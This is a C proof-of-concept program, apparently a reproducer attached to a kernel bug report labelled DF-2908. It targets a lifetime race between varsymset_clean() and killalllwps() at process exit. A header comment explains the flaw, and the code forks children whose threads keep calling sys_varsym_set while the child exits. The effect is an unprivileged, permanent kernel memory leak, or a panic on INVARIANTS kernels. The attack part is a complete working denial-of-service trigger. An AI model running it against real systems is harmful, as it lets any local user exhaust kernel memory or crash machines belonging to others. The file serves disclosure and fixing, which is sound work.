DF-2908 / varsym_exit_race.c
/* * DF-2908 — varsymset lifetime race at process exit (sys/kern/kern_varsym.c * + sys/kern/kern_exit.c:311-312). * * exit1() calls varsymset_clean(&p->p_varsymset) + lockuninit() *before* * killalllwps() has killed the process's remaining LWPs. A sibling LWP that * is mid-sys_varsym_set(VARSYM_PROC, ...) when the exiting LWP runs * varsymset_clean() can re-insert varsym entries into the already-cleaned * set after the final clean. Nothing ever frees those entries again * (exit1 cleans exactly once) => permanent M_VARSYM kernel memory leak, * triggerable by an unprivileged user. * * Secondary flavor (INVARIANTS kernels): if the sibling LWP holds * p_varsymset.vx_lock exclusive in the gap between varsymset_clean()'s * internal LK_RELEASE and lockuninit()'s KKASSERT, lockuninit() panics. * * Usage: * ./varsym_exit_race race [nspin] [iters] -- race children (leak) * ./varsym_exit_race control [nspin] [iters] -- joined spinners, then exit * (must show NO growth) * * Needs no privileges: VARSYM_PROC (level 1) varsyms are unprivileged. */ #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/syscall.h> #ifndef SYS_varsym_set #define SYS_varsym_set 450 #endif #define VARSYM_PROC 1 static volatile sig_atomic_t stop_flag; static char g_data[232]; /* < MAXVARSYM_DATA (256) */ static void * spin(void *x __unused) { while (!stop_flag) { /* set PROC varsym: varsymmake remove + insert (2 lock cycles) */ syscall(SYS_varsym_set, VARSYM_PROC, "leak2908", g_data); } return (NULL); } int main(int argc, char **argv) { const char *mode = argc > 1 ? argv[1] : "race"; int nspin = argc > 2 ? atoi(argv[2]) : 5; long iters = argc > 3 ? atol(argv[3]) : 2000; pthread_t th[64]; long it; pid_t pid; int i; memset(g_data, 'A', sizeof(g_data)); g_data[sizeof(g_data) - 1] = 0; if (nspin > 64) nspin = 64; for (it = 0; it < iters; it++) { pid = fork(); if (pid == 0) { /* child: spin sibling LWPs hammering the PROC varsym set */ for (i = 0; i < nspin; i++) pthread_create(&th[i], NULL, spin, NULL); usleep(2000); /* let them enter the loop */ if (strcmp(mode, "control") == 0) { stop_flag = 1; /* quiesce BEFORE exiting */ for (i = 0; i < nspin; i++) pthread_join(th[i], NULL); } _exit(0); /* exit1: varsymset_clean + lockuninit, THEN killalllwps */ } waitpid(pid, NULL, 0); if ((it % 500) == 499) { printf("iter %ld done\n", it + 1); fflush(stdout); } } printf("%s: finished %ld iters (nspin=%d)\n", mode, iters, nspin); return (0); } |